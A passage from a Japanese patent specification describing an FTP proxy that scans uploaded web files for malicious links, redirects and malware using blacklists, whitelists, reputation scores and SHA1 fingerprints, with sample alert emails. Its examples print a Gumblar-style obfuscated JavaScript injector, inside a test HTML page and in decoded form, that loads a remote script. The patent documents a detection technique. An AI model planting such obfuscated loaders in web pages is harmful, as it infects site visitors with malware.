ホワイトリストデータベースＷＬには、予め信頼できると判断されたＵＲＬ，ＩＰアドレス，ＦＱＤＮ，メールアドレスなどを登録するが、順次取得して信頼できると判断されたＵＲＬ，ＩＰアドレス，ＦＱＤＮ，メールアドレスなどを予め登録し、或いは追加して登録しておくものである。
なお、本システムの開始時に、ホワイトリストデータベースＷＬ（ホワイトリスト）の参照先定義は、顧客全体で同一に指定する。ホワイトリストデータベースＷＬ（ホワイトリスト）の参照先は本システムの設定ファイルにて指定する。
開始時ではなく、拡張時においてのホワイトリストデータベースＷＬ（ホワイトリスト）の参照先定義は、機能追加時に行うもので、エンドユーザごとにホワイトリストデータベースＷＬ（ホワイトリスト）を定義できる。エンドユーザごとのホワイトリストデータベースＷＬ（ホワイトリスト）は顧客側のＬＤＡＰサーバのアトリビュートで定義され、本システムはそれを参照する。アトリビュートは本システムの設定ファイルにて指定するように構成されている。
より具体的には、上記設定に該当するＵＲＬの含まれたファイルは、ＦＴＰサーバ１０にアップロードする。このとき、トップドメイン、ＦＱＤＮ等の半角英数字にて定義する。本実施形態では、無効な設定、または未定義の場合は処理されないように構成されている。また、ホワイトリストデータベースＷＬ（ホワイトリスト）はＦＴＰクライアント単位で設定するようにしている。
【００４８】
ブラックリストデータベースＢＬには、悪質なものと判断されたＵＲＬ，ＩＰアドレス，ＦＱＤＮなどを登録するが、順次取得して悪質なものと判断されたＵＲＬ，ＩＰアドレス，ＦＱＤＮなどを登録する。
具体的には、上記設定に該当するＵＲＬの含まれたファイルはＦＴＰサーバにアップロードしない。このとき、トップドメイン、ＦＱＤＮ等の半角英数字にて定義する。本実施形態では無効な設定、または未定義の場合は処理されないように構成されている。またブラックリストデータベースＢＬ（ブラックリスト）はＦＴＰクライアント単位で設定するようにしている。
【００４９】
本発明で使用するホワイトリストデータベースＷＬ及びブラックリストデータベースＢＬは、独自に構築するものであり、システム全体または対象ＦＴＰサーバごとに、同一のホワイトリストデータベースを使用し、システム全体または対象ＦＴＰサーバごとに、同一のブラックリストデータベースを使用する。また、判定エンジン３３は、ホワイトリストデータベースＷＬ及びブラックリストデータベースＢＬへは、ＵＲＬとして問い合わせを行なう。
【００５０】
本実施形態のシステムの基幹部分は、ＦＴＰサーバでファイルがアップロードされた時点で、コンテンツに含まれるリンク先に問題があるかどうかをチェックするものであるが、実際には既にアップロードされているコンテンツに含まれるリンク先に、後から改竄等の問題が発生することも考えられる。
【００５１】
そこで図８で示すように、「既にアップロードされたコンテンツ」について、そこに含まれるリンクの参照先に問題が発生していないかどうかを、常に更新され続けているレピュテーションデータベースＤＢ２のレピュテーションデータを使用して定期的にチェックし、信用度がしきい値を下回るＵＲＬを発見し通知する仕組みを備えている。つまり、図８で示すように、外部データベースＤＢであるＣｌｏｕｄｍａｒｋ社のＲｅｐｕｔａｔｉｏｎ  データベース、レピュテーションデータベースＤＢ２を利用している。この利用は、ＣＰＵ３１の制御のもとで入力側３６からインターネット６０を介して接続されるように構成されている。
【００５２】
また、本実施形態では、電子指紋計算手段としての電子指紋計算エンジン３４によって、電子指紋を取得するが、電子指紋計算は、ハッシュ値を取得して行なう。
ハッシュ値とは、任意の長さのデータを固定長のデータに投影するハッシュ関数を用いて計算される固定長のデータを指すものである。ハッシュ関数の種類によって、得られるハッシュ値のデータ長は異なる。
【００５３】
本例では、１６０ｂｉｔのハッシュ値が得られるＳＨＡ１と称するハッシュ関数を用いている。ハッシュ関数としては、上記ＳＨＡ１の他に、ＭＤ５（１２８ｂｉｔ）、ＲＩＰＥＭＤ（１６０ｂｉｔ）、ＳＨＡ２５６（２５６ｂｉｔ）、ＳＨＡ５１２（５１２ｂｉｔ）などがあるが、本例ではＳＨＡ１を用いている。ファイル各部の特徴を捉える多値複合型の電子指紋も用いることができる。
ハッシュ関数を使った場合、データの内容が１バイトでも異なると、全く別のハッシュ値が生成される。このため、ハッシュ値が同一であれば同一のデータであることが判明し、ハッシュ値が異なれば別の内容であると判定することができる。
【００５４】
次に、本実施形態において、図６に示す通信フローを示す関係図に基づいて説明する。図６では、認証の場合、転送ＯＫの場合、転送ＮＧの場合についての通信フローである。
○認証：ＦＴＰプロキシサーバ３０がＦＴＰクライアント２０から認証手続きを受け付けると、ＦＴＰアカウントＩＤの問い合わせをデータベースサーバに行なう。そして、ＦＴＰプロキシサーバ３０は、ＦＴＰアカウントＩＤのサービス要件回答を得ると、ＦＴＰサーバ１０に認証手続きを行なう。ＦＴＰサーバ１０は認証の許可或いは失敗について、ＦＴＰプロキシサーバ３０に返し、ＦＴＰプロキシサーバ３０は、ＦＴＰクライアント２０に、ＦＴＰサーバ１０からの認証の許可或いは失敗について、通知する。
○転送ＯＫ：ＦＴＰクライアント２０からファイルアップロードをＦＴＰサーバ１０に行なう場合、先ずはＦＴＰプロキシサーバ３０でファイルを受け取り、ファイル検査を行なう。そして、不正リンクやマルウェア等の未検出時には、ＦＴＰサーバ２０にファイルアップロードを行なう。ＦＴＰサーバ１０でアップロードが完了した場合、その旨の通知がＦＴＰプロキシサーバ３０に返され、ＦＴＰプロキシサーバ３０ではＦＴＰクライアント２０に、アップロード完了の通知を行なう。
○転送ＮＧ：ＦＴＰプロキシサーバ３０でファイルを受け取り、ファイル検査を行なう。不正リンクやマルウェア等を検出したときには、ＦＴＰプロキシサーバ３０はＳＭＴＰサーバを介して、システム管理者用コンピュータ４０にメールを送付し、同時にＳＭＴＰサーバを介して、ＦＴＰクライアント２０にメールを送付する。
このように、検出結果メールは、出力側３７からシステム管理者（システム管理者用コンピュータ４０）及びＦＴＰクライアント２０に送付するように構成している。特に本実施形態では、ＦＴＰクライアント２０に送付しているが、この場合には、ＬＤＡＰを用い顧客管理システムと連携、アカウントに対応するメールアドレスを取得し、エンドユーザであるＦＴＰクライアント（ユーザ端末）２０に検出結果メールを送付するようにしている。
【００５５】
本実施形態では、ログ出力について、リバースＦＴＰ  Ｐｒｏｘｙのログをｓｙｓｌｏｇプロトコルにより出力側３７から外部に送出可能としている。つまり、ＦＴＰの中継やチェック、アップロードの除外に関するログ（動作ログ）をｓｙｓｌｏｇ形式で外部のサーバに送付できる。
【００５６】
次に、本発明のシステム及び方法において、システム連携について、簡単に説明する。
顧客システムとの連携は、開始時において、顧客側のＬＤＡＰサーバと連携することができる。当初の連携項目はエンドユーザへのメール通知を行うためのメールアドレスの取得である。
【００５７】
また顧客システムとの連携は、開始後の機能追加時において、顧客側のＬＤＡＰサーバとの連携項目に、次の項目を追加することが可能である。
・エンドユーザごとのホワイトリスト
・エンドユーザごとの接続可能なＩＰアドレス
・エンドユーザごとのアップロード可能なファイル種別
・エンドユーザごとのＪａｖａＳｃｒｉｐｔのアップロード可否
【００５８】
さらに、顧客システムとの連携は、開始後の機能追加時において、ＬＤＡＰ以外への連携としては、Ｏｒａｃｌｅ（登録商標）、ＰｏｓｔｇｒｅＳＱＬ（登録商標）、ＭｙＳＱＬ（登録商標）などが可能である。
【００５９】
次に、マルウェア（Ｍａｌｗａｒｅ：不正かつ有害な動作を行う意図で作成された悪意のあるソフトウェアや悪質なコードの総称）検知の無い場合と検知した場合について、図９と図１０で示すフローチャートを用いて説明する。
【００６０】
コンテンツの検査は、ＦＴＰプロトコルによりコンテンツや設定ファイル（．ｈｔａｃｃｅｓｓなど）がアップロードされるときに不正コンテンツか判断する。不正コンテンツと判定したときにはコンテンツのアップロードを行わず、クライアント側にはエラーメッセージを返す。なお、コンテンツ検査のタイミングは、開始時以降、リアルタイム（ＦＴＰプロトコルによりコンテンツがアップロードされるときに調査する）である。
【００６１】
本実施形態において、チェック対象からの除外する場合について述べる。開始時において、エンドユーザごとにアップロード時のチェックを行うか否か、定義することも可能である。エンドユーザごとのチェックの可否は顧客側のＬＤＡＰサーバのアトリビュートで定義され、ＩＣＤはそれを参照する。アトリビュートはＩＣＤの設定ファイルにて指定する。
【００６２】
（結果通知）本実施形態では、不正ファイルと判定しアップロードの中止を行った場合、結果をメールにて顧客側の管理者とエンドユーザに通知する。つまり、図６及び図７で示すように、ＳＭＴＰサーバからＦＴＰクライアントへメールで通知することができる（図６の転送ＮＧを参照）。なお顧客側の管理者のメールアドレスは独自に定義する。
エンドユーザへの通知は、ＦＴＰ  ＩＤに対応するエンドユーザのメールアドレスが顧客側システムから取得可能な場合、対応できる（システム連携はＬＤＡＰを想定）。
【００６３】
（不正コンテンツ発見後の動作）
本実施形態では、不正ファイルと判定しアップロードの中止を行った場合、ＦＴＰ接続を中断する。その後のＦＴＰ接続を一定期間許可しないことも可能である。
【００６４】
（チェック対象からの除外）
本実施形態では、ＦＴＰ  ＩＤごとのチェック実行／除外に関する定義を顧客側システムから取得可能な場合、アップロード時の検査から除外できる（システム連携はＬＤＡＰを想定）。
【００６５】
（ＦＴＰ接続元のＩＰアドレスの制限）
本実施形態では、  ＦＴＰ  ＩＤごとに、ＦＴＰ接続に関するＩＰアドレスによるアクセスリストを顧客側システムから取得可能な場合、本システムのアクセスリストとして使用することが可能である（システム連携はＬＤＡＰを想定）。
【００６６】
マルウェア等の検出としては、例として、以下のような検出が可能である。
（不正なＵＲＬ転送の検出の場合）
想定しないＵＲＬに転送（リンク）されているか検査する。
ホワイトリストデータベース・ブラックリストデータベースと照合し、本来のファイルには存在しないはずのリンクを検知し、ＦＴＰでのアップロードから除外する。アップロードから除外した場合、メールで通知する。
なお、ＪａｖａＳｃｒｉｐｔを用いて難読化やスクリプト内でＵＲＬを生成している場合も検知できる。
【００６７】
（不正なリダイレクトの検出の場合）
想定しないＵＲＬにリダイレクトされているか検査する。
ホワイトリスト・ブラックリストと照合し、本来のファイルには存在しないはずのリダイレクトを検知し、ＦＴＰでのアップロードから除外する。アップロードから除外した場合、メールで通知する。
【００６８】
図９は、マルウェア検知の無い場合を示すもので、ステップＳ１で「ｌｏｇｉｎ  Ａｕｔｈ」（認証付きメールに使うプロトコル）かどうか判定する。ここでは、ＦＴＰプロトコルにおけるユーザー認証（アカウント／パスワード）を行う。ここでＰａｓｓする（ステップＳ１：Ｐａｓｓ）と、ステップ２でファイルを受信する。ここでは、ＦＴＰプロトコルにおけるファイルの受信（設置ディレクトリのＰａｔｈを含む）を行なう。
【００６９】
ステップＳ２でファイル受信した後で、ステップＳ３でファイルの種別（バイナリ形式かテキスト形式）を判断する。バイナリ形式である場合（ステップＳ３：バイナリ形式）には、ステップＳ１６の処理、すなわち正規ＦＴＰサーバファイルへファイル転送を行なう。ここでは、可読でない場合は、チェックをパスしてＷＷＷサーバにアップロードさせる。
一方、テキスト形式である場合（ステップＳ３：テキスト形式）には、ステップＳ４でＪａｖａＳｃｒｉｐｔの有無を判断する。
ＪａｖａＳｃｒｉｐｔが無い場合（ステップＳ４：Ｎｏ）、ステップＳ７の処理を行なう。
【００７０】
一方、ＪａｖａＳｃｒｉｐｔが有る場合（ステップＳ４：Ｙｅｓ）、ステップＳ５でＪａｖａＳｃｒｉｐｔの構文解析を行なう。ここでは、ＪａｖａＳｃｒｉｐｔを使ってＪａｖａＳｃｒｉｐｔのスクリプトを難読化してあるのを復号する動作を行なう。ステップＳ５でＪａｖａＳｃｒｉｐｔの構文解析を行なった後で、ＪａｖａＳｃｒｉｐｔのＵＲＬの抽出を行なう（ステップＳ６）。ここでは、ＪａｖａＳｃｒｉｐｔ内部にあるリンクを抽出する。
ステップＳ４でＪａｖａＳｃｒｉｐｔが無い場合（ステップＳ４：Ｎｏ）、及びステップＳ６でＪａｖａＳｃｒｉｐｔのＵＲＬの抽出を行なった後で、ＪａｖａＳｃｒｉｐｔ以外の部分でＵＲＬの抽出を行なう（ステップＳ７）。ここでは、ＪａｖａＳｃｒｉｐｔ以外の部分にあるリンクを抽出する。上記ステップＳ１〜Ｓ７の処理の後で、ＵＲＬの偽装を解いて正規化を行なう（ステップＳ８）。ここでは、ＵＲＬエンコード（エスケープ）、数値実体参照等の復号を行なう。
【００７１】
このようにして、ＵＲＬの正規化が行なわれた後で、ページ名と内包ＵＲＬをＵＲＬ格納データベースＤＢ１に格納する（ステップＳ９）。次にＩＰアドレスを取得する（ステップＳ１０）。
次に、レピュテーションデータベースＤＢ２からレピュテーション値を取得する（ステップＳ１１）。つまり、抽出されたＩＰアドレスについてレピュテーション値を取得する。
【００７２】
ステップＳ１〜ステップＳ１１の処理の後、ステップＳ１２で、ブラックリストデータベースＢＬに格納されたブラックリストの符号と照合する。そして、ブラックリストの照合の結果、符号がある場合にはステップＳ１５でＦＴＰエラーを応答し、終了する。
【００７３】
一方、ブラックリストデータベースＢＬに格納されたブラックリストの符号と照合し、符号が無い場合（ステップＳ１２：Ｎｏ）、ステップＳ１３で、ステップＳ１１でレピュテーションデータベースＤＢ２から取得したレピュテーション値が、閾値を下回るＵＲＬが存在するかどうか判断する。
レピュテーション値が、閾値を下回るＵＲＬが存在しない場合（ステップＳ１３：Ｎｏ）、ステップＳ１６で正規ＦＴＰサーバファイルへファイルを転送する。レピュテーション値が、閾値を下回るＵＲＬが存在する場合（ステップＳ１３：Ｙｅｓ）、ステップＳ１４で、ホワイトリストデータベースＷＬのホワイトリストの符号と照合する。
【００７４】
このとき、ホワイトリストを用いた不正コンテンツの判定は、ホワイトリストを定義し、アップロード対象（コンテンツ・設定ファイル）にホワイトリストに存在しないＵＲＬへの誘導が存在する場合、不正コンテンツと判定する。
【００７５】
ホワイトリストデータベースＷＬのホワイトリストの符号が有る場合（ステップＳ１４：Ｙｅｓ）、ステップＳ１６で正規ＦＴＰサーバファイルへファイルを転送する。一方、ホワイトリストデータベースＷＬのホワイトリストの符号が無い場合（ステップＳ１４：Ｎｏ）、ステップＳ１５でＦＴＰエラーを応答し、終了する。
【００７６】
ステップＳ１６で正規ＦＴＰサーバファイルへファイルを転送した後で、ステップＳ１７でページ名と内包ＵＲＬをＵＲＬ格納データベースＤＢ１に格納して、終了する。
【００７７】
次に、マルウェア等を検出した場合について、図１０で示すフローチャートを用いて説明する。図１０で示すフローチャートと図９で示すフローチャートにおける各ステップにおいて、同一記号及び符号のステップは同一処理を示すものであり、図９の説明と重複するので、その説明を省略し、図１０のフローチャートでは、図９で説明していない処理（ステップ）を中心に説明する。つまり、ステップＳ１〜ステップＳ８、ステップＳ１０〜ステップＳ１７まではマルウェア等を検出しない図９のフローチャート処理と同様であり、マルウェア等を検出しない場合のようなステップＳ９で、ページ名と内包ＵＲＬをＵＲＬ格納データベースＤＢ１に格納は、しない。
【００７８】
そして、マルウェア等を検出しない処理である図９の処理では、バイナリ形式である場合（ステップＳ３：バイナリ形式）には、ステップＳ１６の処理、すなわち正規ＦＴＰサーバファイルへファイル転送を行なっているが、マルウェア等を検出する場合については、ステップＳ２１〜ステップＳ２４までの処理を行うものである。
【００７９】
つまり、バイナリ形式である場合（ステップＳ３：バイナリ形式）には、ステップＳ２１でファイルの電子指紋を取得する。ここでは可読でないファイルに対して電子指紋を計算する。形式としては、電子指紋データベースＤＢ３で採用されているハッシュ形式を用いる。
そして、取得した電子指紋について、ステップＳ２２でマルウェアの電子指紋データベースＤＢ３に格納されている電子指紋と照合をする。
ステップＳ２２で照合したときに、一致する電子指紋が存在しない場合（ステップＳ２３：Ｎｏ）、ステップＳ１６で正規ＦＴＰサーバファイルへファイルを転送した後で、ステップＳ１７でページ名と内包ＵＲＬをＵＲＬ格納データベースＤＢ１に格納して、終了する。
ステップＳ２２で照合したときに、一致する電子指紋が存在した場合（ステップＳ２３：Ｙｅｓ）、そのファイルはマルウェアであり、ステップＳ２４でＦＴＰエラーを応答し、終了する。
【００８０】
不正コンテンツの発見後の動作として、不正コンテンツと判定しアップロードの中止を行った場合、ＦＴＰ接続を中断する。また、その後のＦＴＰ接続は一定期間（１日程度を想定）許可しない。
さらに、本実施形態では、不正コンテンツの記録を行う。ここでは一定期間、アップロードが試みられた不正コンテンツを保管しておく。ただし、保管左記の最大容量を超える場合、古いものから削除される。
【００８１】
ＦＴＰエラーの応答として、不正コンテンツと判定しアップロードの中止を行った場合、結果通知を行うが、結果をメールにて顧客側の管理者とエンドユーザに通知する。顧客側の管理者のメールアドレスはＩＣＤの設定ファイルにて指定する。エンドユーザのメールアドレスは顧客側のＬＤＡＰサーバから取得する。
【００８２】
顧客側のエンドユーザのＦＴＰ  ＩＤやメールＩＤなどのアカウント管理を行っているシステムと連携し、検知時のメール連絡をエンドユーザのメールアドレスに送信することも可能である。この場合には、ＦＴＰ  ＩＤに対応するメールＩＤが一意に判別できることが前提となる。データ連携はデフォルトではＬＤＡＰを想定しているが、これに限るものではない。
【００８３】
次に、レポートメールの例として、ＦＴＰアップロード検査の実行結果を示す。
■検知内容
不正リンクの検出
検出内容：
ｈｔｔｐ：／／ＵＲＬ名／ＦＩＬＥ名
※上記ＵＲＬは、リンクを誤って参照しないよう、ｈｔｔｐ：／／を全角文字で記載している。
■検査対象のＩＤ
ＦＴＰ  ＩＤ：  ｆｏｏ
■検査対象ファイル
ｔｅｓｔ．ｈｔｍｌ
■アップロードに使用されたＩＰアドレス
ＸＸＸ．ＸＸＸ．ＸＸＸ．ＸＸＸ
■検知時間
２０１０／０３／１５  １３：２０：１５
【００８４】
次に、より具体的な通知メールの例を以下に示す。
件名：［○○○○：２０１００４１５−１０４８５６］不正リンク検出連絡
−−−−
○○○○○○○○サービスをご利用いただきまして誠にありがとうございます。
不正ファイルを検出し、アップロードを中止しましたので報告いたします。
■検出日時
２０１０年４月１５日  １０時４８分５６秒
■対象ファイル名
ｘ．ｈｔｍｌ
■送信元ＩＰアドレス
１９２．１６８．０．×××
■アカウント名
△△△
■アップロード先ＦＴＰサーバ
１０．１０．０．×××：２１
■不正スクリプト  転送先
検出数  １  個
検出サイト名：
ｓｃｒｉｐｔ．ｅｘａｍｐｌｅ．ｃｎ
■不正リンク  転送先
検出数  ０  個
検出サイト名：
なし
■不正リダイレクト  転送先
検出数  ０  個
検出サイト名：
なし
■ご注意点
本メールは○○○○○○○○サービスシステムが自動的に作成しています。
■○○○○○○○○サービスに関するお問い合わせ
ご不明な点や問題点がございましたら、下記までお問い合わせください。
---------------------------------------------
株式会社○○○○
TEL
受付時間（平日10:00 - 12:00 / 13:00 -
17:00）
E-mail：・・・・・@・・・.jp
---------------------------------------------
【００８５】
次に、ＦＴＰアップロード検査の実行について、例を挙げて説明する。
例えば、Ｇｕｍｂｌａｒの難読化例（一重下線部分が難読化されている部分・左記一重下線部分の間の「<3cs…<3e」の部分はｓｃｒｉｐｔタグとＵＲＬを難読化した部分）。
(function(t){eval(unescape((i='va<72<20<61<3d<22S<63<72ipt<45<6egin<65<22<2cb<3d<22Ver<73<69o<6e()+<22<2c<6a<3d<22<22<2c<75<3dnav<69gato<72<2euse<72A<67e<6e<74<3b<69f((<75<2e<69ndex<4ff(<22W<69n<22)<3e0<29<26<26<28u<2einde<78O<66(<22N<54<206<22)<3c<30)<26<26(docume<6et<2ecook<69e<2eindexOf<28<22miek<3d<31<22)<3c0)<26<26(t<79pe<6ff(zr<76zt<73)<21<3d<74yp<65o<66<28<22A<22))<29<7bzr<76zts<3d<22A<22<3beval<28<22if(wi<6ed<6fw<2e<22+a+<22<29j<3dj+<22+a+<22<4dajo<72<22+b+a+<22Mino<72<22+b+a+<22B<75i<6c<64<22+b<2b<22j<3b<22)<3bd<6f<63um<65<6et<2ewri<74e(<22<3cs<63r<69pt<20s<72c<3d<2f<2f<73<2e<62<62<73<65<63<2e<63o<2e<6ap<2furlt<65<73t<2fh<65llo<2e<6a<73<3e<3c<5c<2fscript<3e<22)<3b<7d').replace(t,'%')))})(/</g);
【００８６】
一重下線部分を解読した内容（読みやすくするため、空白や改行を追加したもの・下線付きの箇所が転送先のスクリプトファイルを指定するＵＲＬ）の例。
【００８７】
vara="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Win")>0)&&(u.indexOf("NT6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<scriptsrc=//s.bbsec.co.jp/urltest/hello.js><\/script>");}
上記の例は、例示のため下線部を変更している（実際にはＧｕｍｂｌａｒのサイトのスクリプトのＵＲＬ）。
【００８８】
以下では、不正サイトへの誘導を含むコンテンツ（ＪａｖａＳｃｒｉｐｔ内に含むケース）を例に、不正サイト誘導の解析をして、ＵＲＬ抽出の事例を示している。
【００８９】
◎不正サイトへの誘導を含むコンテンツ（ＪａｖａＳｃｒｉｐｔ内に含むケース）
<html>
<head>
<meta  http-equiv="content-type"  content="text/html;   charset=EUC-JP">
<title>TEST  page</title>
</head>
<body>
<script  language=JavaScript><!--
(function(t){eval(unescape((i='va<72<20<61<3d<22S<63<72ipt<45<6egin<65<22<2cb<3d<22Ver<73<69o<6e()+<22<2c<6a<3d<22<22<2c<75<3dnav<69gato<72<2euse<72A<67e<6e<74<3b<69f((<75<2e<69ndex<4ff(<22W<69n<22)<3e0<29<26<26<28u<2einde<78O<66(<22N<54<206<22)<3c<30)<26<26(docume<6et<2ecook<69e<2eindexOf<28<22miek<3d<31<22)<3c0)<26<26(t<79pe<6ff(zr<76zt<73)<21<3d<74yp<65o<66<28<22A<22))<29<7bzr<76zts<3d<22A<22<3beval<28<22if(wi<6ed<6fw<2e<22+a+<22<29j<3dj+<22+a+<22<4dajo<72<22+b+a+<22Mino<72<22+b+a+<22B<75i<6c<64<22+b<2b<22j<3b<22)<3bd<6f<63um<65<6et<2ewri<74e(<22<3cs<63r<69pt<20s<72c<3d<2f<2ft<65<73<74<30<30<2e<78<78<78<2e<62<62<73<65<63<2e<63o<2e<6ap:<38<30<38<30<2furlt<65<73t<2fh<65llo<2e<6a<73<3e<3c<5c<2fscript<3e<22)<3b<7d').replace(t,'%')))})(/</g);
--></script>
<h1>TEST  page  009</h1>
<p>
このページは、test用のページです。<br>
Page  ID  =  009<br>
<a  href="/urltest/index.html">  index  </a><br>
</body>
</html>
【００９０】
◎上記のＪａｖａＳｃｒｉｐｔの構文解析を実施した例。
・JavaScriptプログラム
(function(t){eval(unescape((i='va<72<20<61<3d<22S<63<72ipt<45<6egin<65<22<2cb<3d<22Ver<73<69o<6e()+<22<2c<6a<3d<22<22<2c<75<3dnav<69gato<72<2euse<72A<67e<6e<74<3b<69f((<75<2e<69ndex<4ff(<22W<69n<22)<3e0<29<26<26<28u<2einde<78O<66(<22N<54<206<22)<3c<30)<26<26(docume<6et<2ecook<69e<2eindexOf<28<22miek<3d<31<22)<3c0)<26<26(t<79pe<6ff(zr<76zt<73)<21<3d<74yp<65o<66<28<22A<22))<29<7bzr<76zts<3d<22A<22<3beval<28<22if(wi<6ed<6fw<2e<22+a+<22<29j<3dj+<22+a+<22<4dajo<72<22+b+a+<22Mino<72<22+b+a+<22B<75i<6c<64<22+b<2b<22j<3b<22)<3bd<6f<63um<65<6et<2ewri<74e(<22<3cs<63r<69pt<20s<72c<3d<2f<2ft<65<73<74<30<30<2e<78<78<78<2e<62<62<73<65<63<2e<63o<2e<6ap:<38<30<38<30<2furlt<65<73t<2fh<65llo<2e<6a<73<3e<3c<5c<2fscript<3e<22)<3b<7d').replace(t,'%')))})(/</g);
【００９１】
◎構文解析結果
vara="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Win")>0)&&(u.indexOf("NT6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script
src=//test00.xxx.bbsec.co.jp:8080/urltest/hello.js><\/script>");}
【００９２】
◎構文解析結果から  ｓｃｒｉｐｔ  ｓｒｃ  を抽出
<script  src=//test00.xxx.bbsec.co.jp:8080/urltest/hello.js>
【００９３】
◎ＦＱＤＮを抽出
test00.xxx.bbsec.co.jp
※上記をブラックリスト、ホワイトリスト、レピュテーション値との照合をする。
【００９４】
なお、本発明で示す検知技術をメールサーバに適用し、ＨＴＭＬメール上に存在するリンクをチェックすることも可能である。
【符号の説明】
【００９５】
１０  ＦＴＰサーバ
２０  ＦＴＰクライアントコンピュータ（ユーザ端末）
３０  ＦＴＰプロキシサーバ
３１  ＣＰＵ
３２  ＵＲＬ抽出エンジン
３３  判定エンジン
３４  電子指紋計算エンジン
３５  マルウェア判定エンジン
３６  入力側
３７  出力側
４０  システム管理者用コンピュータ
５０  顧客管理システム用コンピュータ
６０  インターネット（コンピュータネットワーク）
Ｓ  ファイルのアップロード遮断システム
ＤＢ１  ＵＲＬ格納データベース
ＤＢ２  レピュテーションデータベース
ＤＢ３  マルウェアの電子指紋データベース
ＢＬ  ブラックリストデータベース
ＷＬ  ホワイトリストデータベース
【図１】
2011227884.tif 000003
【図２】
2011227884.tif 000004
【図３】
2011227884.tif 000005
【図４】
2011227884.tif 000006
【図５】
2011227884.tif 000007
【図６】
2011227884.tif 000008
【図７】
2011227884.tif 000009
【図８】
2011227884.tif 000010
【図９】
2011227884.tif 000011
【図１０】
2011227884.tif 000012